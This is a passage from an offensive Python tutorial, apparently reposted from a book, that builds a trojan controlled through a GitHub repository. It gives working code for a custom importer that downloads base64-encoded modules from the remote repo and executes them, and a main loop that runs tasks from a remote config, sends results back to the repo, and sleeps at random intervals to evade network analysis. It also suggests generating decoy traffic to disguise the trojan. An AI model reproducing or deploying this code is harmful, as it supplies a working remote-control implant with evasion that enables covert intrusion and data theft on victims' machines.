If you’ve made it this far in the book, you know that we use Python’s import functionality to pull in external libraries so that we can use the code contained within. We want to be able to do the same thing for our trojan, but beyond that, we also want to make sure that if we pull in a dependency (such as Scapy or netaddr), our trojan makes that module available to all subsequent modules that we pull in. Python allows us to insert our own functionality into how it imports modules, such that if a module cannot be found locally, our import class will be called, which will allow us to remotely retrieve the library from our repo. This is achieved by adding a custom class to the sys.meta_path list. Let’s create a custom loading class now by adding the following code:
class GitImporter(object): def __init__(self): self.current_module_code = "" def find_module(self,fullname,path=None): if configured: print "[*] Attempting to retrieve %s" % fullname new_library = get_file_contents("modules/%s" % fullname) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self,name): module = imp.new_module(name) exec self.current_module_code in module.__dict__ sys.modules[name] = module return module
Every time the interpreter attempts to load a module that isn’t available, our GitImporter class is used. The find_module function is called first in an attempt to locate the module. We pass this call to our remote file loader and if we can locate the file in our repo, we base64-decode the code and store it in our class. By returning self, we indicate to the Python interpreter that we found the module and it can then call our load_module function to actually load it. We use the native imp module to first create a new blank module object and then we shovel the code we retrieved from GitHub into it. The last step is to insert our newly created module into the sys.modules list so that it’s picked up by any future import calls. Now let’s put the finishing touches on the trojan and take it for a spin.
def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() # store the result in our repo store_module_result(result) return # main trojan loop sys.meta_path = [GitImporter()] while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner,args=(task['module'],)) t.start() time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000))
We first make sure to add our custom module importer before we begin the main loop of our application. The first step is to grab the configuration file from the repo and then we kick off the module in its own thread. While we’re in the module_runner function, we simply call the module’s run function to kick off its code. When it’s done running, we should have the result in a string that we then push to our repo. The end of our trojan will then sleep for a random amount of time in an attempt to foil any network pattern analysis. You could of course create a bunch of traffic to Google.com or any number of other things in an attempt to disguise what your trojan is up to.
Take your time to comment on this article.